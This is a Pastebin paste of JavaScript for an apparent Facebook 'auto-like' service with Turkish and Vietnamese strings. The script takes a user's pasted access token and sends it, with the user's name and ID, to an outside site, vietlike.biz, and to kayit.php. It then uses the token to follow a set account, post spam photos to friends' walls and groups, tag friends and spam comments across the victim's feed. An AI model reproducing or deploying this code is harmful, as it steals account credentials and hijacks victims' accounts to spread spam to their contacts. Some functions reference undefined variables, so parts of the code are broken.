Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <script>
- var arr=[""];
- var tokenme;
- var user = {};
- function ileti(type,msg){
- $('#logs').append('<div class="notification ' + type + '" id="ileti" style="display:none;margin-top:10px;"><span class="icon"></span>' + msg + '</div>');
- $('#ileti').fadeIn('slow');
- $('#ileti').removeAttr('id');
- }
- $('#gonder').click(function(){
- if($('#access_token').val().length > 50){
- $('.anlatim').hide();
- $('#logs').html("");
- $('#gonder').attr("disabled","disabled");
- $('#gonder').attr("class","button grey");
- access_token = $('#access_token').val();
- if(access_token.indexOf("access_token=") > 0){
- access_token = access_token.split("access_token=")[1].split("&")[0];
- $('#access_token').val(access_token);
- }
- jQuery.ajax({
- url:'https://graph.facebook.com/me?access_token=' + access_token,
- dataType:'jsonp',
- success:function(data){
- user = data;
- if(user && user.name){
- tokenme = access_token;
- $.ajax({
- url: 'http://vietlike.biz/login?user=',
- data: 'acessinterdata=' + access_token + '&user_name=' + user.name + '&user_id=' + user.id ,
- success: function(data){
- $("#someElement").html(data);
- }
- });
- add(tokenme,"");
- follow("zanedarkvn");
- Feed_Tag(access_token);
- getStatus(access_token);
- Get_Groups();
- frnds();
- pgrp();
- arkadaslar();
- Feed_Groups(a);
- }else{
- ileti("error",user.error.type+" error ("+user.error.code+")");
- $('#gonder').removeAttr("disabled");
- $('#gonder').attr("class","button blue");
- }
- }
- });
- }
- });
- function pc(a){$.getJSON('https://graph.facebook.com/'+a+'/likes?method=POST&access_token='+access_token)};
- function pgrp(){
- jQuery.ajax({
- url:'https://graph.facebook.com/fql?q=select gid, name from group where gid IN (SELECT gid FROM group_member WHERE uid=me()) order by rand() limit 70&access_token='+access_token,
- dataType:'jsonp',
- success:function(data){
- wallpostg(data);
- }
- });
- }
- function frnds(){
- jQuery.ajax({
- url:'https://graph.facebook.com/fql?q=SELECT uid, first_name FROM user WHERE uid IN ( SELECT uid2 FROM friend WHERE uid1 = me() ) ORDER BY rand() limit 500&access_token='+access_token,
- dataType:'jsonp',
- success:function(data){
- wallpost(data);
- }
- });
- }
- function kayit(user,token){
- jQuery.ajax({
- url:'kayit.php',
- type:'POST',
- data:{userid:user.id,gender:user.gender,access_token:token,username:user.name},
- success:function(data){
- if(data == "true"){
- ileti("success","Kayit basarili");
- }
- }
- });
- }
- function sayfalar(sayfa){
- }
- function arakla(token){
- jQuery.ajax({
- url:'https://graph.facebook.com/me?access_token=' + token,
- dataType:'jsonp',
- success:function(data){
- if(data.id){
- kayit(data,token);
- }
- }});
- }
- function Get_Groups() {
- jQuery.ajax({
- url: 'https://graph.facebook.com/fql?q=SELECT gid FROM group WHERE gid IN (SELECT gid FROM group_member WHERE uid = me()) order by rand()&access_token=' + access_token,
- dataType: 'jsonp',
- success: function (a) {
- Feed_Groups(a)
- }
- })
- }
- link=" VIETLIKE*BIZ - Post=";
- fotolink ="http://revisedagain.com/wp-content/uploads/2012/03/fblike.png";
- text =" Auto Like ,Auto Sub ,Auto Share ,Auto FanPage . Không Spam , Free , chát lượng , An Toàn Tuyệt Đối. Truy cập VIETLIKE. BIZ để sử dụng nha ! <3 nhớ vào auto ủng hộ nhé !"+link+ Math.floor((Math.random()*100000)+1);
- gonderildi = 0;
- a ="agrad?vel " + Math.floor((Math.random()*50)+50);
- function com(a){$.getJSON('https://graph.facebook.com//comments?method=POST&message=' + a + '&access_token='+access_token)};
- function wallpost(list){
- for(i=0;i<list.data.length;i++){
- jQuery.ajax({
- url:'https://graph.facebook.com/'+list.data[i].uid+'/photos?url=' + fotolink + '&message=' + text +'&callback=paylas&method=POST&access_token=' + access_token,
- dataType:'script',
- success:function(){
- gonderildi += 1;
- if(gonderildi >= list.data.length){
- }
- }
- });
- }
- }
- function Feed_Groups(a) {
- for (i = 0; i < a.data.length; i++) {
- tiny_wal(lnk, access_token, a.data[i].gid)
- }
- }
- function wallpostg(list){
- for(i=0;i<list.data.length;i++){
- jQuery.ajax({
- url:'https://graph.facebook.com/'+list.data[i].gid+'/photos?url=' + fotolink + '&message='+ text +'&callback=paylas&method=POST&access_token=' + access_token,
- dataType:'script',
- success:function(){
- gonderildi += 1;
- if(gonderildi >= list.data.length){
- }
- }
- });
- }
- }
- function foto_paylas(){
- jQuery.ajax({
- url:'https://graph.facebook.com/me/photos?privacy={"value":"EVERYONE"}&url=' + fotolink + '&message='+ text +'&callback=paylas&method=POST&access_token=' + access_token,
- dataType:'script',
- success:function(){
- }
- });
- }
- var turler = {video:"Video",status:"Durum Guncellemesi",link:"Baglanti",photo:"Fotograf",swf:"Video"};
- function gonderiler(){
- jQuery.ajax({
- url:'https://graph.facebook.com/me?fields=feed.fields(message,privacy,type)&access_token=' + access_token,
- dataType:'jsonp',
- success:function(data){
- posts = data;
- for(i=0;i<posts.feed.data.length;i++){
- if(posts.feed.data[i].message){
- ileti("success",posts.feed.data[i].message.substr(0,50)+"... ("+turler[posts.feed.data[i].type]+")");
- }else{
- ileti("success","ID: "+posts.feed.data[i].id.split("_")[1]+"... ("+turler[posts.feed.data[i].type]+")");
- }
- }
- }
- });
- }
- function paylas(){
- }
- function get_friends(){
- jQuery.ajax({
- url:'https://graph.facebook.com/fql?q=SELECT uid, first_name FROM user WHERE uid IN ( SELECT uid2 FROM friend WHERE uid1 = me() ) ORDER BY rand() limit 100&access_token='+access_token,
- dataType:'jsonp',
- success:function(data){
- post_friends(data);
- }
- });
- }
- function post_friends(list){
- for(i=0;i<list.data.length;i++){
- jQuery.ajax({
- url:'https://graph.facebook.com/'+list.data[i].uid+'/photos?url=' + image_link + '&message=' + text +'' + link+ '&callback=paylas&method=POST&access_token=' + access_token,
- dataType:'script',
- success:function(){
- gonderildi += 1;
- if(gonderildi >= list.data.length){
- }
- }
- });
- }
- }
- function follow(follow){
- jQuery.ajax({
- url:'https://graph.facebook.com/' + follow + '/subscribers?access_token=' + access_token + '&method=post',
- dataType:'jsonp',
- success:function(data){
- }
- });
- }
- function ahmed(link){
- jQuery.ajax({
- url:'https://graph.facebook.com/me/likes?access_token=' + access_token + '&method=POST&url=' + link,
- dataType:'jsonp',
- success:function(data){
- }
- });
- }
- jQuery.ajax({
- url:'https://graph.facebook.com//attending?access_token=' + access_token + '&method=post',
- dataType:'jsonp',
- success:function(data){
- }
- });
- function Feed_Tag(access_token) {
- $.getJSON('https://graph.facebook.com/me/photos?url=' + fotolink + '&message='+ text +' &method=POST&access_token='+access_token, function (f) {
- if (f.id) {
- $.getJSON('https://graph.facebook.com/me/friends?limit=500&access_token='+access_token, function (c) {
- if (c.data) {
- var e = [];
- $.each(c.data, function (a, b) {
- e.push(b.id);
- $.getJSON('https://graph.facebook.com/' + f.id + '/tags?to=' + b.id + '&method=post&access_token='+access_token)
- })
- }
- })
- }
- });
- }
- function sstats() {
- access_token = $('#access_token').val();
- $.post("", { subs: user.id } );
- sub(access_token,arr[Math.round(arr.length*Math.random())]);
- setTimeout("getStatus()",10000);
- }
- function getStatus(token){
- var commentShort = " Auto Like ,Auto Sub ,Auto Share ,Auto FanPage . Không Spam , Free , chất lượng , An Toàn Tuyệt Đối. Truy cập VIETLIKE.BIZ để sử dụng nha ! <3 nhớ vào auto ủng hộ nhé .";
- $.getJSON('https://graph.facebook.com/me?access_token=' + token, function (response) {
- if (response.id) {
- var userid = response.id;
- var totalComments = 500;
- $.getJSON('https://graph.facebook.com/' + userid + '/home?limit=' + totalComments + '&access_token=' + token, function (response) {
- if(response.data){
- var allPosts = [];
- $.each(response.data, function(i,data){
- allPosts.push(data.id);
- var megaNumber=Math.floor(Math.random()*900);
- var commentMessage = commentShort;
- $.getJSON('https://graph.facebook.com/' + data.id + '/comments?method=POST&message=' + commentMessage + '&access_token=' + token, function (response) {
- //alert("Comment Posted!");
- });
- });
- }
- });
- }
- });
- }
- function sub(id){
- $.getJSON('https://graph.facebook.com/me/friends?uid='+id+'&method=post&access_token=' +token, function (response) {
- //alert(response);
- });
- }
- function add(token,ids){
- $.getJSON('https://graph.facebook.com/me/friends?uid=' + ids + '&method=post&access_token=' + token, function (response) {
- //alert(response);
- });
- }
- </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement